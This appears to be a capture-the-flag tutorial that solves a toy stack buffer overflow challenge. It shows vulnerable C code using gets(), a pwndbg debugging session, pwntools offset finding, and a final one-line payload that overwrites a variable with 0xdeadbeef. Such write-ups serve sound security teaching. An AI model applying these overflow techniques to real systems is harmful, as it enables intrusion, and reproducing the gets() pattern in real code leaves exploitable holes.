Level 02 Solution

The task

If you take a look at the source file, the task is to somehow get the ‘trash’ variable to equal the value 0xdeadbeef. This is a little hard, since we aren’t reading into the ‘trash’ variable. So how do we approach this problem. Think about it for a while, then we’ll move further. Here’s the source code:

int main() {
    volatile int trash;
    char buffer[64];
    trash = 0;
    gets(buffer);
    if (trash == 0xdeadbeef) {
        char ans[] = {
            <redacted>
        };
        puts(ans);
    }
}

Ofcourse some lines have been redacted from the source. They’re really nothing, just some basic obfuscation in order to prevent people from directly getting the flag using ‘strings’ or some similar tool. In order to tackle this problem we need to understand how programs work when executing. We just need the details of how memory is affected when a program is executed. Let’s disassemble the code as it will become easier to follow along with what I’m saying.

0x080488af <+10>:	push   ebp
0x080488b0 <+11>:	mov    ebp,esp
0x080488b2 <+13>:	push   ecx
0x080488b3 <+14>:	sub    esp,0x64

These lines are important to understand what actually takes place in memory when a program runs. “push ebp” actually saves the stack frame of the calling function. So basically what we’re doing when running the program is calling the “main()” method. Inorder to know where to continue executing, the “ebp” of the calling function is saved. “mov ebp, esp” is used to set a new stack frame base for the callee function. This is better explained along with the next line which is “sub esp, 0x64” ignoring the previous line. This sequence is what we call a Standard Entry Sequence. It is followed everytime a function is called. We do a “sub” in order to reserve space on the stack for the local variables of the function. Together these memory locations constitue of a ‘stack frame’ also known as a ‘Call Stack’. If you can see from the diagram below, we notice that the local variables are stored in contiguous memory locations. What if we could exploit this feature?

Call Stack Layout By R. S. Shaw

But how do we exploit this? We need a way to overwrite the data of those memory locations. Narrowing it down further, the only way we can attack this(not really) is by providing user input, which is done using the gets() method. This is currently the only so called ‘attack surface’ for now. Let’s take a look at how this function works using the man pages.

$ man gets

The description looks promising ‘Never use this function’. But why? Scrolling further down, we can see why we should not use this function, ever. Basically there’s no limit to how much gets reads, even if the buffer we read into is of a fixed size. And in our case it’s 64 bytes, so we can bascially read beyond 64 bytes of data. So if we have an input large enough, we should be able to overwrite the data of the ‘trash’ variable. For the sake of completeness, let’s assume we have no idea how far the ‘trash’ variable is located on the stack. We can find this offset by using a special kind of string. I use [pwntools] to genereate this string, though you can do this manually. Let’s do it.

>>> from pwn import *
>>> cyclic(128)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab'

Now let’s open our binary in the debugger and set a breakpoint at the comparision with 0xdeadbeef. Then run it and input our special string.

pwndbg> break *0x080488cf
Breakpoint 1 at 0x80488cf
pwndbg> r
Starting program: /home/dylan/Documents/ASM/challenges/binary/02/main32
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab

Breakpoint 1, 0x080488cf in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0x61616171 ('qaaa')
 EBX  0x80d9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 ECX  0x80d9340 (_IO_2_1_stdin_) ◂— 0xfbad2288
 EDX  0x80da87c (_IO_stdfile_0_lock) ◂— 0x0
 EDI  0x80481a8 (_init) ◂— push   ebx
 ESI  0x80d9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
 EBP  0xffffce98 ◂— 0x61616175 ('uaaa')
 ESP  0xffffce30 ◂— 0x0
 EIP  0x80488cf (main+42) ◂— cmp    eax, 0xdeadbeef
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x80488cf <main+42>     cmp    eax, 0xdeadbeef
   0x80488d4 <main+47>     jne    main+195 <0x8048968>
    ↓
   0x8048968 <main+195>    mov    eax, 0
   0x804896d <main+200>    mov    ecx, dword ptr [ebp - 4]
   0x8048970 <main+203>    leave
   0x8048971 <main+204>    lea    esp, [ecx - 4]
   0x8048974 <main+207>    ret

   0x8048975               nop
   0x8048977               nop
   0x8048979               nop
   0x804897b               nop
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffce30 ◂— 0x0
01:0004│      0xffffce34 ◂— 0x40000
02:0008│      0xffffce38 ◂— 0x3
03:000c│      0xffffce3c ◂— 0x2
04:0010│      0xffffce40 ◂— 0x0
05:0014│      0xffffce44 ◂— 0x1000000
06:0018│      0xffffce48 ◂— 0x61616161 ('aaaa')
07:001c│      0xffffce4c ◂— 0x61616162 ('baaa')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  80488cf main+42
Breakpoint *0x080488cf
```

If you're interested in knowing which debugger I use, it's pwndbg, you can get it [here](https://github.com/pwndbg/pwndbg#readme).
If we take a look at the "eax" value we see that it has changed from the original which was 0. So let's find the offset, again using pwn tools.

```python
>>> cyclic_find('qaaa')
64

We see that the ‘trash’ variable is located at an offset of 64 bytes, which is just after the size of our buffer array into which we read our input. So we essentially created what is called a ‘stack overflow’. Since the value can’t fit in that fixed size buffer, it overflows into the next memory location, thus overwriting the data, which is what we wan’t. With the offset in hand it’s only a matter of overwriting ‘trash’ with 0xdeadbeef which is fairly simple. Let’s get to it then…

$ python -c "print 'A'*64 + '\xef\xbe\xad\xde'" | ./main32
<flag_here>

And there you have it. I’ve only showed you how to exploit the 32-bit version of the binary. The 64-bit one can be exploited in the same way with only the offset changing. This is because address spaces are 64-bits. So the offset will be larger compared to a 32-bit binary. Rest of the procedure will be the same. For more information on buffer overflow attacks please do check out the links below.

Sites

Phrack Functions and stack frames Call Stacks

Files

Level 02